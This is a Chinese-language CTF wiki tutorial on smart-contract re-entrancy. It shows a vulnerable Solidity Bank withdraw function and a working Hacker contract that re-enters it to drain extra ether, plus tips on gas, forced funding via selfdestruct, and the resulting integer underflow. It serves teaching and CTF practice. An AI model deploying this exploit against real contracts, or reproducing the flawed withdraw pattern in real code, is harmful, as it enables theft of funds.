跳转至

Re-Entrancy

重入攻擊是智能合約中的經典攻擊。以太坊 The DAO 項目遭受的重入攻擊直接導致了以太坊(ETH)和以太坊經典(ETC)的硬分叉。

原理

假設有一個銀行合約實現了以下取款功能,在 balanceOf[msg.sender] 充足時,合約會轉賬相應數量的以太幣給調用者,並且將 balanceOf 減去相應值:

contract Bank {
    mapping(address => uint256) public balanceOf;
    ...
    function withdraw(uint256 amount) public {
        require(balanceOf[msg.sender] >= amount);
        msg.sender.call.value(amount)();
        balanceOf[msg.sender] -= amount;
    }
}

這個實現的問題在於,“先給錢後記賬”。在以太坊中,合約的調用者可以是另一個智能合約,轉賬時收款合約的 fallback 函數會被調用。若 fallback 函數內再一次調用了對方的 withdraw 函數,由於此時 balanceOf 尚未減少,require 的條件仍然滿足,導致可以再次取款。需要注意的是,fallback 函數需要限制重入的次數,否則會因爲無限地循環調用,導致 gas 不足。假設攻擊合約的存款有 1 ether,可以如下實現取出 2 ether:

contract Hacker {
    bool status = false;
    Bank b;

    constructor(address addr) public {
        b = Bank(addr);
    }

    function hack() public {
        b.withdraw(1 ether);
    }

    function() public payable {
        if (!status) {
            status = true;
            b.withdraw(1 ether);
        }
    }
}

此外有幾個注意點:

  • 目標合約使用 call 發送以太幣時,默認提供所有剩餘 gas;call 操作改爲對提款者合約的調用亦可實現攻擊;但如果使用 transfer 或者 send 來發送以太幣,只有 2300 gas 供攻擊合約使用,是不足以完成重入攻擊的。
  • 執行重入攻擊前,需要確認目標合約有足夠的以太幣來向我們多次轉賬。如果目標合約沒有 payable 的 fallback 函數,則需要新建一個合約,通過 selfdestruct 自毀強制轉賬。
  • 上述 fallback 實現中,先改寫 status 後重入。如果反過來則還是會無限循環調用,這和重入漏洞的道理是一致的。

重入漏洞與整數下溢出漏洞關聯密切。在上述攻擊後,攻擊合約的存款由 1 ether 變爲 -1 ether。但注意到存款由 uint256 保存,負數實際上保存爲一個極大的正數,後續攻擊合約可以繼續使用這個大數額的存款。

題目

強網杯 2019

  • 題目名稱 babybank

N1CTF 2019

  • 題目名稱 h4ck

Note

注:題目附件相關內容可至 ctf-challenges/blockchain 倉庫尋找。